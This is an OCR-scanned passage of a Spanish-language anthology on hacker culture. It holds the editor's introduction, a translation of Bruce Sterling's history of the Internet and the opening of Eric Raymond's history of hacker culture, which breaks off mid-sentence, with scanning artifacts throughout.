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Presentacion

La figura del “hacker” suele aparecer en las noticias y las peliculas
ligada a usos ilegales de la tecnologia. Pueden ser adolescentes irres-
ponsables o enemigos decididos del orden publico, mas o menos orga-
nizados, pero siempre factores de peligro que disparan la necesidad de
reforzar los controles y sancionar leyes que adapten los viejos codigos
penales a las nuevas realidades de las computadoras. Un chico curioso
desde su cuarto en Caballito, Buenos Aires, puede quebrar las leyes de
varios paises y movilizar a sus policias. Un filipino puede escribir un
virus que se propague atravesando fronteras y continentes. Los hackers
son el objeto de discursos sobre seguridad en las redes, que abarcan
desde la preocupacion de las agencias de policias y de las grandes
empresas, a la perplejidad de los expertos en leyes que deben crear nue-
vos artilugios legales para clasificarlos, y la espectacularidad con la que
irrumpen en las crénicas de los noticieros como personajes de cierto
sub-mundo criminal. Asi vistos, los hackers participan de las nuevas
tecnologias en un nivel similar al de otros fendmenos que obstaculizan
el flujo de los negocios por las redes o echan mantos de sospecha moral
sobre ellas; si el “correo basura” satura las casillas de los usuarios y hace
perder horas de valioso tiempo, y si el negocio de la pornografia infan-
til o los mercados de tréafico ilegal se montan en el anonimato que per-
miten los intercambios de mails en Internet, los hackers son otra zona de
inseguridad que obliga a reforzar los controles y mantener activo el
estado de sospecha.

Pero los hackers no se ven a si mismos como delincuentes, y de
hecho ya se hacian llamar “hackers” cuando la mayoria no se habia
enterado todavia de qué era exactamente una computadora. Dejando de
lado el estereotipo, (por qué son interesantes los hackers? El tema de
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este libro no son los hackers como tales, sino su mirada respecto a aque-
llo que hacen. Para los primeros que empezaron a llamarse “hackers”
entre si, en el MIT (Instituto de Tecnologia de Massachusetts) en
EE.UU., lo que hacian los diferenciaba radicalmente de los demas técni-
cos y profesores. Estos cumplian horarios, se ajustaban a la burocracia e
investigaban sobre computadoras segun sus aplicaciones en estadistica
y otros campos especificos. Los hackers empezaron a experimentar en
usos mas terrenales, programas que tocaban musica, procesadores de
texto, juegos de ajedrez. Esas primeras creaciones fueron el comienzo de
una larga serie de aportes y proyectos que tuvieron como protagonistas
a estos grupos de entusiastas (desde las computadoras personales a la
arquitectura de Internet, pasando por la criptografia y la idea del codi-
go abierto que derivd en el actual auge de Linux). Como lo relata Levy
en su libro Hackers, ya entonces promovian formas de trabajo que con-
templaban una dimensién colectiva de la tecnologia: facilitar el acceso
de todos y compartir el conocimiento.

El software libre es una concepcidn colectiva de la propiedad. Todos
los que escriben el codigo de un programa son duefios de él; y todas las
personas pueden escribir y cambiar el c4digo si quieren, y saben cémo
hacerlo. Esto es lo que opone a los sistemas operativos Windows y
Linux: modelo abierto y participativo de Linux, contra el de Windows,
cerrado, orientado a la maximizacion de ganancias. Es una idea presen-
te entre los hackers desde los comienzos de la informatica. El escritor
Neal Stephenson lo describe asi: “Windows 95 y MacOS son productos,
concebidos por ingenieros al servicio de compairiias particulares. Unix,1
en cambio, es menos un producto que la esmerada recopilacion de la
historia oral de la subcultura hacker. Es nuestra epopeya de
Gilgamesh.” Y sigue: “Lo que hacia tan poderosas y duraderas a las vie-
jas epopeyas como la de Gilgamesh era el hecho de que consistieran en
cuerpos de narrativas vivientes que muchas personas conocian de
memoria, y relataban una y otra vez —haciendo sus retoques personales
cada vez que les parecia. Los malos retoques se descartaban, los buenos
eran recogidos por otros, se pulian, mejoraban y, con el tiempo, eran
incorporados a la historia. Del mismo modo, Unix es conocido, amado

1. Sistema operativo del que deriva Linux.
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y comprendido por tantos hackers que puede ser reescrito desde cero en
cuanto alguien lo necesite. Esto es muy dificil de entender para las per-
sonas acostumbradas a pensar que los sistemas operativos son cosas
que necesariamente hay que comprar.” (de En el principio fue... la linea de
comando de Neal Stephenson).2

Un punto de partida para situar o pensar el papel de los hackers,
podria ser este entusiasmo por lo que hacen, el orgullo por sus obras y
la valoracién de las personas segun sus conocimientos y destrezas, que
se refleja en las palabras del hacker y ensayista Eric Raymond, “La cul-
tura hacker no tiene lideres, pero tiene héroes culturales, ancianos de la
tribu, historiadores y portavoces”. De donde se desprende también el
sentido de horizontalidad a la hora de participar y hacer aportes, que
todos sefialan como rasgo caracteristico.

Cuando un grupo de hackers a fines de los ‘70 desarrollé técnicas
de criptografia avanzada que habian copiado del Ejército de EE.UU., y
disefid programas que garantizan la privacidad de las comunicaciones
por Internet, el gobierno de EE.UU. puso esos programas en la lista de
productos con restricciones para la exportacion. Sacarlos del pais segin
estas leyes implica un delito del mismo calibre que el trafico de armas
nucleares. La difusion via Internet de estos programas de criptografia,
gratis y con codigo abierto, logré que se convirtieran en un standard de
seguridad en todo el mundo. Este seria otro rasgo a tener en cuenta, el
de la iniciativa personal, la autogestion de proyectos que partiendo de
necesidades personales o locales, luego terminan beneficiando a la
sociedad en general. Paradigma de esto es el caso de Linus Torvalds, el
hacker finlandés que en 1991 empezé a programar un sistema operati-
vo tipo Unix para usar en la PC-386 que tenia en su casa; un proyecto
que con el tiempo se convertiria en Linux, el sistema operativo de dis-
tribucién gratuita que hoy usan millones de personas.

También se llaman a si mismos “hackers” personas que se especia-
lizan en violar la proteccion de computadoras y redes privadas. Son los
que suelen aparecer en las noticias y representados en algunas pelicu-
las, como la famosa Juegos de Guerra. En este caso se los asocia con ado-
lescentes que se divierten con el riesgo y el desafio que implica meterse

2 . En http://www.sindominio.net/biblioweb/telematica/command_es
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en sistemas de empresas o gobiernos. En el libro Llaneros Solitarios,
Fernando Bonsembiante narra las historias de varios hackers argentinos
gue a mediados de los “80 aprendieron a aprovechar las fallas de segu-
ridad de las redes locales, para usar el acceso a Internet con el que con-
taban algunas empresas antes de que Internet se popularizara. Asi,
muchos de ellos pudieron acceder a foros de chat instalados en sistemas
“hackeados” y frecuentados por hackers de otras partes del mundo. En
1994 la revista Virus Report dirigida por Fernando Bonsembiante, orga-
nizé un congreso de hackers en el Centro Cultural Recoleta, en Buenos
Aires, al que asistieron hackers famosos como el neoyorquino
Emmanuel Goldstein, editor de una revista legendaria entre los hackers,
la 2600. Por su parte, los programadores de Linux y los impulsores del
Software Libre tienden a negar que aquellos sean verdaderos hackers y
los asocian con delincuentes, llaméndolos “crackers”.

El filésofo finlandés Pekka Himanen escribié en La ética de los
hackers y el espiritu de la era de la informacién —haciendo a un lado a estos
crackers, como primer paso-, un andlisis de las motivaciones y modos
de entender el trabajo en la “cultura hacker”, a la que considera un
quiebre respecto a la cultura del trabajo heredera de la ética protestan-
te.3 Contra las ideas de sacrificio y de busqueda permanente de maxi-
mizacion de ganancias, la ética de los hackers propone la pasién, la
libertad para organizar el tiempo y el trabajo, metas que no toman el
dinero como fin en si mismo, sino que se orientan a la cooperacion y el
interés social. Manuel Castells les atribuye un rol fundamental en el de-
sarrollo de Internet y de lo que él llama la sociedad red, dada su influen-
cia desde los origenes de la arquitectura y el estilo de organizacion
abierto y horizontal de las redes de computadoras.

Un modo de entender la actividad de los hackers seria a partir de lo
gue producen con sus creaciones o sus paseos furtivos por las redes, en
tanto puntos de vistas respecto a sus herramientas —las computadoras.
Todo un mundo queda expuesto cuando a un grupo de hackers se les
ocurre crear programas y repartirlos para que los usen todos los que
quieran, o cuando disefian sistemas de criptografia avanzada para
usuarios comunes, e incluso cuando ponen en evidencia la mala seguri-

3. Laética de los hackers y el espiritu de la era de la informacién. Barcelona, Destino, 2002
(hay reimpresion argentina).
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dad de los programas y las redes que utilizan las empresas y los gobier-
nos. Se cuestionan las leyes de copyright, se pone en duda la privacidad
de las comunicaciones, y se abre una disputa sobre el control y la fun-
cion de policia del Estado respecto a los usuarios de las redes. Pero
sobre todo se deja ver un modo de vincularse a las tecnologias por el
interés directo, por la pasion de conocer, aprender y compartir con otros
lo aprendido. En definitiva, por amor a la profesion (o al arte). Entonces,
si hubiera que responder a la pregunta de por qué son interesantes los
hackers, la respuesta tentativa seria porque producen visiones y pro-
puestas creativas y apasionantes sobre la tecnologia, ya sea que lo hagan
porque se lo proponen, o porque surgen como resultado de su presen-
cia, por los cuestionamientos e interrogantes que ésta plantea.

Esta antologia de textos pretende dar un panorama que sirva de
introduccion a varios temas vinculados a los hackers y sus actividades
en distintas areas. Arranca con una seccién de “Historia” con dos textos
de Eric Raymond y el escritor Bruce Sterling sobre la historia de Internet
y la cultura hacker. En “Software Libre” se incluyen un articulo de
Miquel Vidal que es una introduccion, a la vez que balance critico, del
software libre, junto con una seleccion de notas y articulos de Richard
Stallman, el impulsor de la patente GNU y la Fundacién Software Libre,
en los que debate sobre la importancia de volver a pensar las regulacio-
nes de copyright en funcién de las nuevas tecnologias y sobre la posibi-
lidad que brindan las redes de compartir la informacion (ya sean pro-
gramas, musica o literatura). En la seccion “Criptografia” se incluyen
dos intervenciones (un manifiesto y una ponencia en un congreso) de
Eric Hughes y John Gilmore, que son dos de los hackers més destacados
del grupo Cypherpunks (“Cripto-hackers”), un grupo estadounidense
dedicado a programar y difundir al gran publico métodos de encripta-
cion de datos para hacer més seguras las comunicaciones. En “Hackers”
se presentan dos articulos de Steve Mizrach y Jonas Léwgren, que ana-
lizan las distintas ideas que suelen asociarse a los hackers, y las discu-
siones entre hackers *“constructivos” y hackers que violan la seguridad
de los sistemas. También se incluyen aqui dos textos del hacker italiano
jaromil en los que se explaya al respecto. Queda por hablar de las sec-
ciones “Activismo” y “Tecnologias”. Estas no hacen referencia explicita
a los hackers y sus actividades, pero los incluimos los textos porque cre-
€mos que sirven para completar el panorama abierto por las demas sec-



14

ciones. En la seccién “Activismo” un articulo de Miquel Vidal y otro
escrito por Marilina Winik del grupo Indymedia Argentina, se refieren
a las posibilidades que abre Internet para garantizar la libre circulacion
de informacién que no encuentra espacios en los medios tradicionales.
La seccidn “Tecnologias” recopila notas que desde distintas perspecti-
vas y disciplinas reflexionan sobre las relaciones entre los hombres, las
tecnologias que desarrollan y lo que piensan e imaginan sobre ellas.
Aqui se incluyen textos de escritores como Thomas Pynchon y Bruce
Sterling, del sociélogo argentino Christian Ferrer y del ingeniero infor-
matico Bill Joy.

Carlos Gradin

Gracias a todos los autores que cedieron sus textos. Gracias espe-
cialmente a Miquel Vidal, Christian Ferrer, Richard Stallman y jaromil.
Gracias a Federico Heinz de Via Libre.

Gracias a Alejandro Blanco por cuidar los detalles, las citas, la biblio-
grafia, y por leer y mejorar las traducciones de los textos. Muchos inte-
grantes de la Editora Fantasma también ayudaron con ideas y buena
onda, asi que gracias a ellos también.

Gracias a Manuel y Estela de Libres del Sur por la paciencia y la cali-
dez con que nos recibieron.
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Breve historia de Internet*
Bruce Sterling

Hace unos treinta afios, la RAND Corporation, la principal fabrica
de ideas de la América de la guerra fria, se enfrentd a un extrafio pro-
blema estratégico. ; Como se podrian comunicar con éxito las autorida-
des norteamericanas tras una guerra nuclear?

La América postnuclear necesitaria una red de comando y control
enlazada de ciudad a ciudad, estado a estado, base a base. Pero sin
importar como esa red estuviera de protegida, sus lineas y equipos
siempre serian vulnerables al impacto de bombas atémicas. Un ataque
nuclear reduciria cualquier red imaginable a pedazos.

¢{Cbémo seria controlada esa red? Cualquier autoridad central, cual-
quier nucleo de red centralizado seria un objetivo obvio e inmediato
para un misil enemigo. El centro de la red seria el primer lugar a derri-
bar.

La RAND le dio muchas vueltas a este dificil asunto en secreto mili-
tar y llegd a una solucion atrevida. La propuesta de la RAND (ideada
por uno de sus miembros, Paul Baran) se hizo publica en 1964. En pri-
mer lugar, la red no tendria autoridad central. Ademas, seria disefiada
desde el principio para operar incluso hecha pedazos.

Los principios eran simples. Se asumiria que una red era poco fia-
ble en cualquier momento. Se disefiaria para trascender su propia falta
de eficacia. Todos los nodos en la red serian iguales entre si, cada nodo
con autoridad para crear, pasar y recibir mensajes. Los mensajes se divi-
dirian en paquetes, cada paquete dirigido por separado. Cada paquete

* “Short history of Internet”. Traduccion de Antonio Montesinos
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18 BRUCE STERLING

saldria de un nodo fuente especifico y terminaria en un nodo destino.
Cada paquete recorreria la red seglin unos principios particulares.

La ruta que tome cada paquete no tendria importancia. Solo conta-
rian los resultados finales. Basicamente, el paquete seria lanzado como
una patata de un nodo a otro, mas o menos en direccién a su destino,
hasta acabar en el lugar adecuado. Si grandes porciones de la red fueran
destruidas eso simplemente no importaria; los paquetes permanecerian
en la red en los nodos que hubieran sobrevivido. Este sistema de envio
tan arbitrario podria parecer “ineficiente” en el sentido usual del térmi-
no (especialmente comparado con, por ejemplo, el sistema telefénico).

Durante los ‘60, este intrigante concepto de red de conmutacion de
paquetes descentralizada y a prueba de bombas caminé sin rumbo entre
el RAND, el MIT [Massachusetts Institute of Technology] y la UCLA
[University of California in Los Angeles]. EI National Physical Laboratory
[Laboratorio Nacional de Fisica] de Gran Bretafia prepar6 la primera
red de prueba basada en estos principios en 1968. Poco después, la
Agencia de Proyectos de Investigacién Avanzada del Pentagono [ARPA,
Advanced Research Projects Agency] decidié financiar un proyecto mas
ambicioso y de mayor envergadura en los Estados Unidos. Los nodos de
la red iban a ser superordenadores de alta velocidad (o lo que se llama-
ra asi en aguel momento). Eran maquinas poco usuales y de mucho
valor y que estaban necesitadas de un buen entramado de red para pro-
yectos nacionales de investigacion y desarrollo.

En el otofio [boreal] de 1969 el primero de esos nodos fue instalado
en UCLA. En diciembre de ese afio habia cuatro nodos en la pequefa
red, que se llam6 ARPANET después de que fuera promocionada por el
Pentagono. Los cuatro ordenadores podian transferir informacion sobre
lineas dedicadas de alta velocidad. Incluso podian ser programados
remotamente desde otros nodos. Gracias a ARPANET, cientificos e
investigadores podian compartir las facilidades de otros ordenadores en
la distancia. Era un servicio muy util ya que el tiempo de proceso de los
ordenadores en los ‘70 era algo muy codiciado. En 1971 habia quince
nodos en ARPANET; en 1972, treinta y siete. Todo iba perfecto.

En su segundo afio de operatividad, sin embargo, algo extrafio se
hizo patente. Los usuarios de ARPANET habian convertido la red en
una oficina de correos electrdnica de alta velocidad subvencionada fede-
ralmente. La mayor parte del trafico de ARPANET no era el proceso de
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datos a largas distancias. En vez de eso, lo que se movia por alli eran
noticias y mensajes personales. Los investigadores estaban usando
ARPANET para colaborar en proyectos, intercambiar notas sobre sus
trabajos y, eventualmente, chismorrear. La gente tenia sus propias cuen-
tas personales en los ordenadores de ARPANET Yy sus direcciones per-
sonales de correo electronico. No es que sélo utilizaran ARPANET para
la comunicacion de persona a persona, pero habia mucho entusiasmo
por esta posibilidad -mucho méas que por la computacion a larga dis-
tancia.

Eso no pasé mucho antes del invento de las listas de distribucién,
una técnica de emision de informacién por ARPANET mediante la cual
un mismo mensaje se podia enviar automaticamente a una gran canti-
dad de subscriptores. Es interesante que una de las primeras listas de
distribucion masivas se llamara “SF-LOVERS” [Amantes de la Ciencia
Ficcion]. Discutir sobre ciencia ficcién en la red no tenia nada que ver
con el trabajo y eso enfadaba a muchos administradores de sistema de
ARPANET, pero eso no impediria que la cosa siguiera.

Durante los ‘70, ARPANET crecid. Su estructura descentralizada
facilitd la expansion. Contrariamente a las redes standard de las empre-
sas, la red de ARPA se podia acomodar a diferentes tipos de ordenador.
En tanto y en cuanto una maquina individual pudiese hablar el lengua-
je de conmutacion de paquetes de la nueva y anarquica red, su marca,
contenidos e incluso su propietario eran irrelevantes.

El estaindar de comunicaciones de ARPA era conocido como NCP,
“Network Control Protocol”, pero segin pasaba el tiempo y la técnica
avanzaba, el NCP fue superado por un estandar de mas alto nivel y mas
sofisticado conocido como TCP/IP. EI TCP o “Transmission Control
Protocol”, convierte los mensajes en un caudal de paquetes en el orde-
nador fuente y los reordena en el ordenador destino. El IP, o “Internet
Protocol”, maneja las direcciones comprobando que los paquetes cami-
nan por multiples nodos e incluso por multiples redes con multiples
standards —no s6lo ARPA fue pionera en el standard NCP, sino también
Ethernet, FDDI y X.25.

En 1977, TCP/IP se usaba en otras redes para conectarse a ARPA-
NET. ARPANET estuvo controlada muy estrictamente hasta al menos
1983, cuando su parte militar se desmembré de ella formando la red
MILNET. Pero el TCP/IP las unia a todas. Y ARPANET, aunque iba cre-
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ciendo, se convirtié en un cada vez mas pequefio barrio en medio de la
vasta galaxia de otras maquinas conectadas.

Segun avanzaban los ‘70 y ‘80, distintos grupos sociales se encon-
traban en posesion de potentes ordenadores. Era muy facil conectar esas
maquinas a la creciente red de redes. Conforme el uso del TCP/IP se
hacia mas comun, redes enteras caian abrazadas y adheridas a Internet.
Siendo el software llamado TCP/IP de dominio publico y la tecnologia
basica descentralizada y anarquica por propia naturaleza, era muy difi-
cil parar a la gente e impedir que se conectara. De hecho, nadie queria
impedir a nadie la conexién a esta compleja ramificacion de redes que
llegd a conocerse como “Internet”.

Conectarse a Internet costaba al contribuyente muy poco o nada
desde que cada nodo era independiente y tenia que arreglarselas con la
financiacion y los requerimientos técnicos. Cuantos mas, mejor. Como la
red telefonica, la red de ordenadores era cada vez mas valiosa segun
abarcaba grandes extensiones de terreno, gente y recursos.

Un fax solo es util si alguien mas tiene un fax. Mientras tanto no es
més que una curiosidad. ARPANET, también, fue una curiosidad
durante un tiempo. Después la red de ordenadores se convirtié en una
necesidad importante.

En 1984 la Fundacion Nacional para la Ciencia [National Science
Foundation, NSF] entré en escena a través de su Oficina de Computacién
Cientifica Avanzada [Office of Advanced Scientific Computing]. La nueva
NSFNET supuso un paso muy importante en los avances técnicos
conectando nuevas, mas rapidas y potentes supercomputadoras a tra-
vés de enlaces mas amplios, rapidos, actualizados y expandidos segin
pasaban los afios, 1986, 1988 y 1990. Otras agencias gubernamentales
también se unieron: NASA, los Institutos Nacionales de la Salud, el
Departamento de Energia, cada uno manteniendo cierto poderio digital
en la confederacion Internet.

Los nodos de esta creciente red de redes se dividian en subdivisio-
nes basicas. Los ordenadores extranjeros y unos pocos americanos eli-
gieron ser denominados segUn su localizacién geogréfica. Los otros fue-
ron agrupados en los seis “dominios” bésicos de Internet: gov, mil, edu,
com, org y het (estas abreviaturas tan sosas pertenecen al estdndar de
los protocolos TCP/IP). Gov, Mil y Edu definen al gobierno, militares e
instituciones educativas, las cuales fueron, por supuesto, pioneras de la
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ARPANET que comenzéd como un experimento de alta tecnologia en
seguridad nacional. Com, sin embargo, definia a instituciones “comer-
ciales”, que enseguida entraron a la red como toros de rodeo rodeadas
por una nube de entusiastas organizaciones sin animo de lucro (los
ordenadores tipo “net” servian como pasarelas entre redes).

La red ARPANET propiamente dicha expiré en 1989 como victima
feliz de su éxito abrumador. Sus usuarios apenas se dieron cuenta, pero
las funciones de ARPANET no solo continuaron sino que mejoraron fir-
memente. El uso del estdndar TCP/IP para redes es ahora algo global.
En 1971, hace 21 afios, sélo habia cuatro nodos en la ARPANET. Hoy
existen decenas de miles en Internet esparcidos por cuarenta y dos pai-
ses y muchos més que se conectan cada dia. Tres millones de personas,
posiblemente cuatro, usan esta gigantesca madre-de-todas-las-redes.

Internet es especialmente popular entre los cientificos y es proba-
blemente su instrumento mas importante de finales del siglo XX. Las
posibilidades de acceso tan potentes y sofisticadas que ofrece a datos
especificos y a la comunicacién personal ha elevado la marcha de la
investigacion cientifica enormemente.

El indice de crecimiento de Internet a comienzo de los ‘90 es espec-
tacular, casi feroz. Se extiende mas rapidamente que los teléfonos mévi-
les y que el fax. El afio pasado [1991] Internet crecia a un ritmo del 20%
mensual. El nimero de ordenadores con conexion directa al TCP/IP se
ha estado doblando anualmente desde 1988. Internet se esta desplazan-
do de su origen militar y cientifico a las escuelas de ensefianza basica e
institutos, al mismo tiempo que a bibliotecas publicas y el sector comer-
cial.

¢Por qué la gente quiere estar “en la internet”? Una de las principa-
les razones es simplemente la libertad. Internet es un raro ejemplo de
anarquia verdadera, moderna y funcional. No existe Internet S.A. No
hay censores oficiales, ni jefes, ni junta directiva, ni accionistas. En prin-
cipio, cualquier nodo puede hablar de igual a igual a otros nodos siem-
pre que obedezcan las leyes del protocolo TCP/IP, leyes que no son poli-
ticas sino estrictamente técnicas. (Ha existido controversia sobre el uso
comercial de Internet, pero esta situacién estd cambiando segun los
negocios proporcionan sus propios enlaces y conexiones.)

Internet también es una ganga. Internet en conjunto, a diferencia
del sistema telefonico, no cuesta dinero segun las distancias. Y a dife-
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rencia también de la mayoria de las redes comerciales, no se cobra por
tiempo de conexién. De hecho, “Internet” de por si, que ni siquiera exis-
te como una entidad, no cobra nada por nada. Cada grupo de gente que
accede a Internet es responsable de su propia maquina y de su propio
trozo de linea.

La “anarquia” de Internet puede parecer extrafia o incluso poco
natural, pero tiene cierta profundidad y sentido. Es como la “anarquia”
del idioma inglés. Nadie alquila el inglés y nadie lo posee. Como anglo-
parlante, depende de ti aprender hablar inglés correctamente y usarlo
para lo que quieras (aunque el gobierno proporciona fondos para ayu-
darte a que aprendas a leer y escribir algo). Aunque mucha gente se
gana la vida usando, explotando y ensefiando inglés, el “Inglés” como
institucion es una propiedad publica, un bien comun. Mucho de eso
ocurre con Internet. ;Mejoraria el inglés si “Idioma Inglés S.A.” tuviera
un consejo de administracion con su director o ejecutivo al frente, un
presidente y una asamblea? Probablemente existirian muchas menos
palabras en el idioma inglés, y muchas menos nuevas ideas.

La gente en Internet siente que se trata de una institucion que se
resiste a la institucionalizacién. El interés pertenece a todos y a nadie.

A pesar de esto, hay quién tiene intereses en Internet. Los nego-
ciantes quieren que Internet tenga una base financiera. Los gobernantes
la quieren mas regulada. Los académicos la quieren para fines de inves-
tigacion. Los militares para la seguridad. Y asi muchos mas.

Todas estas fuentes de conflicto permanecen en torpe equilibrio, e
Internet, hasta ahora, se mantiene en prospera anarquia. Antes, las li-
neas de alta velocidad de la NSFnet eran conocidas como la “Espina
dorsal de Internet” [Internet Backbone], y sus propietarios podian sefio-
rearse con el resto de Internet; pero hoy existen “espinas dorsales” en
Canad4, Japon y Europa, e incluso algunas privadas para el tréfico
comercial. Hoy, incluso ordenadores domésticos privados pueden con-
vertirse en nodos de Internet. Se pueden llevar bajo el brazo. Pronto,
quizés, en la mufieca.

Pero, ¢qué es lo que uno hace con Internet? Basicamente, cuatro
cosas: correspondencia, grupos de discusion, computacion a larga dis-
tancia y transferencia de archivos.

El correo de Internet es el correo electrénico [e-mail], mucho mas
rapido que el correo postal norteamericano, que es llamado despectiva-
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mente por los usuarios de Internet como “correo caracol” [snail mail]. El
correo en Internet es algo como el fax. Es texto electrénico, y no tienes
que pagar por él (al menos directamente) y es a escala global. Por correo
electronico se puede mandar software y algunos tipos de imagenes
comprimidas. Se esta trabajando en nuevas formas de correo electréni-
co.

Los grupos de discusiéon, o “newsgroups”, son un mundo aparte.
Este mundo de debate y argumentaciones se conoce como “USENET”.
USENET es de hecho diferente a Internet. USENET es como una multi-
tud ondulante de gente chismosa y con ganas de informacion que se
mueve por Internet en busca de barbacoas de patio trasero. USENET no
es tanto una red fisica como un conjunto de convenciones. En cualquier
caso, ahora existen 2.500 grupos de discusion separados en USENET y
sus mensajes generan unos 7 millones de palabras al dia. Naturalmente
se habla mucho sobre ordenadores en USENET, pero la variedad de
temas sobre los que se habla es enorme, creciendo estos continuamente.
En USENET se distribuyen varias publicaciones electrdnicas gratuitas
de manera periédica.

Estos grupos y el correo electrénico estan disponibles facilmente,
incluso fuera del corazdn de Internet. Se puede acceder a ellos a través
de las lineas de teléfono normales, desde otras redes como BlTnet,
UUCP y Fidonet. Los ultimos servicios de Internet, computacion a larga
distancia y transferencia de archivos, requieren de conexién directa
usando TCP/IP.

La computacion a larga distancia fue algo pensado para ARPANET
y aln se usa mucho, al menos por algunos. Los programadores pueden
mantener sus cuentas abiertas en poderosos super-ordenadores y ejecu-
tar alli sus programas o crear otros nuevos. Los cientificos pueden usar
potentes ordenadores desde otros continentes. Las bibliotecas ofrecen
sus catalogos electrénicos para que se busque en ellos gratuitamente.
Enormes catalogos en CD-ROM estan disponibles a través de este ser-
vicio. Y existe mucho software gratuito al mismo tiempo.

La transferencia de ficheros permite a los usuarios acceder a maqui-
nas remotas y tomar de ellas programas o textos. Muchos ordenadores
de Internet —unos dos mil 0 mas— permiten que se acceda a ellos de
manera andénima y que la gente use sus archivos de manera gratuita.
Esto no es algo trivial, ya que libros enteros se pueden transferir en
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cuestion de minutos. Hoy, en 1992, existen méas de un millén de ficheros
publicos disponibles a quién los quiera utilizar (y otros millones dispo-
nibles a gente con autorizacion). La transferencia de ficheros por
Internet se esta convirtiendo en una nueva forma de publicacion, en la
gue el lector copia electronicamente el texto que desee en la cantidad
gue quiera y de forma gratuita. Nuevos programas de Internet, como
“archie”, “gopher” y “WAIS” se han desarrollado para catalogar y
explorar esa cantidad de material.

Esta Internet sin cabeza, anarquica y con millones de tentaculos se
esta extendiendo como el pan de molde. Cada ordenador con la poten-
cia suficiente es una espora potencial de Internet y hoy los ordenadores
se venden a menos de 2.000 dolares y estan disponibles en todo el
mundo. La red ARPA, disefiada para asegurar el control de una socie-
dad desolada después de un holocausto nuclear, ha sido sobrepasada
por su hija mutante, Internet, que esta a fuera de control a conciencia y
se expande exponencialmente por la aldea global de la post guerra fria.
La expansién de Internet en los ‘90 se parece a la que sufrié la informa-
tica personal en los ‘70, aunque es mas rapida y mas importante. Mas
importante, quizas, porque da a los ordenadores personales una imagen
de algo barato, de facil acceso y con posibilidades de almacenaje a una
escala realmente planetaria.

El futuro de Internet pasa por ser mas grande y con velocidades
exponencialmente mayores. La comercializacién de Internet es un tema
candente hoy dia, donde se promete cualquier tipo de comercializacion
salvaje de la informacidn. El gobierno federal, agradecido por este éxito
inesperado, aun tiene mucho que decir en esto. La NREN, National
Research and Educational Network [Red Nacional de Educacion e
Investigacion], fue aprobada en el otofio de 1991 como un proyecto a
cinco afios y con un presupuesto de dos mil millones de délares para
gue la red troncal de Internet fuera actualizada. NREN sera unas 50
veces mas rapida que la red mas rapida de hoy dia permitiendo la trans-
ferencia de la Enciclopedia Britanica en un segundo. Las redes de orde-
nadores permitiran graficos animados en 3-D, enlaces de radio y teléfo-
nos moviles a ordenadores portatiles, fax, voz y television de alta defi-
nicion. jUn circo global multimedia!

O al menos asi se espera -y se planea. La Internet real del futuro
debe soportar pocos parecidos con los planes de hoy. Prever las cosas
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nunca ha tenido mucho que ver con el rapido desarrollo de Internet.
Despusés de todo, Internet se parece muy poco a aquellos sombrios pla-
nes del RAND para el post-holocausto. Esto resulta una sutil y feliz iro-
nia.

¢Como se accede a Internet? Bien, si no se tiene un ordenador con
modem, hay que hacerse de uno. El ordenador puede actuar como una
terminal y se puede usar una linea de teléfonos ordinaria para conec-
tarse a una maquina enganchada a Internet. Simplemente esto puede
hacer que se tenga acceso a los grupos de discusion y a una direccién de
correo electrénico propia. Merece la pena tener estos servicios —aunque
s6lo con el correo y las noticias no se esta del todo “en Internet”.

Si esta usted en un campus, la universidad puede que tenga “acce-
so directo” a lineas TCP/IP de Internet de alta velocidad. Hagase con
una cuenta de Internet en un ordenador del campus y sera capaz de uti-
lizar los servicios de computacion remota y la transferencia de archivos.
Algunas ciudades como Cleveland proporcionan acceso gratuito a la
red. Las empresas tienen cada vez mas posibilidades de acceso y estan
deseando vender esos accesos a sus clientes. La cuota estdndar es de
unos 40 doélares al mes -mas o menos como el servicio de TV por cable.

Segun avancen los noventas, encontrar acceso a Internet ser& mucho
maés facil y barato. Su facilidad de uso también mejorara del salvaje
interfase UNIX del TCP/IP a otros muchos mas intuitivos y cémodos
para el usuario, eso es una buena noticia. Aprender Internet ahora, o al
menos aprender sobre Internet, es para entendidos. Cuando cambiemos
de siglo la “cultura de redes”, tal como la “cultura de los ordenadores”
antes de ésta, se introducira forzosamente en el &mbito de su vida.



y ——T———

EFIC S. Raymond nacio en Boston,

Estados Unidos, en 1957. Hacker y entusiasta
de la ciencia ficcién, participé desde los inicios, a
principios de los '80, del proyecto GNU que buscaba
crear un sistema operativo estilo UNIX pero gratui-
to. En los dltimos afios se convirtié en divulgador de
la practica de codigo abierto, a través de textos como
La Catedral y el Bazar (1997) y Como convertirse en
hacker (2001). Sus opiniones conciliadoras con los
intereses de las empresas informaticas lo llevaron a
debatir con Richard Stallman.

| siguiente es un ensayo de divulgacion sobre la

historia de la cultura hacker. La primera version
data de 1992, pero fue modificada sucesivas veces
hasta 2000.

A _



Breve historia de la «cultura hacker»*
Eric S. Raymond

Prélogo: Los Programadores Auténticos

En el principio habia Programadores Auténticos.

No se hacian llamar asi. Tampoco “hackers”, ni de otra manera en
particular: el apodo de “Programadores Auténticos” no se acufid hasta
1980. Pero de 1945 en adelante la tecnologia de la computacidn atrajo a
muchas de las mentes mas brillantes y creativas del mundo. Desde la
ENIAC1I de Eckert y Mauchly existié una cultura técnica de programa-
dores entusiastas ininterrumpida y consciente de si misma, gente que
creaba y jugaba con el software para divertirse.

Los “Programadores Auténticos” venian en general de la fisica y la
ingenieria. Vestian medias blancas y chombas de poliéster, y corbatas y
anteojos gruesos, y escribian programas en lenguaje de maquina y
assembler y FORTRAN y en media docena de lenguajes hoy olvidados.
Estos fueron los precursores de la cultura hacker, los protagonistas de
su prehistoria a los que las tradiciones ya no recuerdan.

Desde el fin de la Segunda Guerra Mundial hasta comienzos de los
‘70, en los grandes dias de la computacion batch2 y de las grandes cen-
trales “de hierro”, los Programadores Auténticos fueron la cultura téc-
nica dominante de la computacion. Algunos fragmentos de folklore
hacker de culto provienen de esta época, incluyendo la conocida histo-

* “Brief History of Hackerdom”. Traduccién de Carlos Gradin.

1. La primera computadora fabricada en 1945 en la Universidad de Pennsylvania,
Estados Unidos. Ocupaba una habitacion y pesaba treinta toneladas. (N. del T.)

2. La época de las computadoras que so6lo podian procesar informacion y no inter-
actuaban con los usuarios en tiempo real. (N. del T.)

[27]
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ria de Mel (incluida en la Jargon File3), muchas Leyes de Murphy vy el
poster de “Blinkenlights” de parodia nazi4 que aun hoy decora muchos
salones de computadoras.

Algunos de los que se iniciaron en la cultura de los “Programadores
Auténticos” siguieron activos en los ‘90. Se dice que Seymour Cray, el
disefiador de la linea de sUper computadoras Cray, una vez puso en
marcha un sistema operativo escrito por él mismo en una computadora
armada por él mismo. En octal. Sin errores. Y funciond. Programador
